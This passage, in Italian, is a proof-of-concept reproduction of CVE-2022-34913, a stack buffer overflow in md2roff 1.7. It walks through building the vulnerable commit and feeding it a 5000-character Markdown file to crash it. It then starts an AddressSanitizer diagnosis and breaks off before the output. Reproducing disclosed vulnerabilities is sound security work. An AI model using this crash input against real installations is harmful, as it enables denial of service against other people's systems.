Prova di concetto per CVE-2022-34913
md2roff 1.7 presenta un overflow del buffer basato sullo stack tramite un file Markdown contenente un gran numero di caratteri consecutivi da elaborare.
Per riprodurre la vulnerabilità, dobbiamo scaricare una versione vulnerabile di md2roff (versione 1.7):
git clone https://github.com/nereusx/md2roff.git
cd md2roff
git checkout 7fc373d25c91422454f081c8a717222d77fd7add
make
Una volta compilato il progetto, possiamo iniziare creando un file markdown malizioso con un grande buffer di caratteri ascii:
python3 -c 'print("1"*5000)' > poc.md
Ora possiamo puntare md2roff al nostro file markdown malizioso e provocare un crash:
./md2roff poc.md
L'esecuzione del comando precedente produrrà un segfault:
segmentation fault ./md2roff poc.md
Per comprendere meglio dove avviene l'overflow, ricompiliamo il progetto con address sanitizer (ASAN) aggiungendo -fsanitize=address alla variabile CFLAGS nel Makefile. Vogliamo anche che il compilatore memorizzi le informazioni della tabella dei simboli nell'eseguibile (flag -g) per aiutarci a determinare quale riga di codice ha prodotto il crash:
CFLAGS = -std=c99 -fsanitize=address -g
Successivamente puliremo eventuali file obsoleti e ricompileremo il progetto:
make clean
make
L'output di ASAN ci mostra che il codice sorgente vulnerabile si trova in md2roff.c, riga 1095:
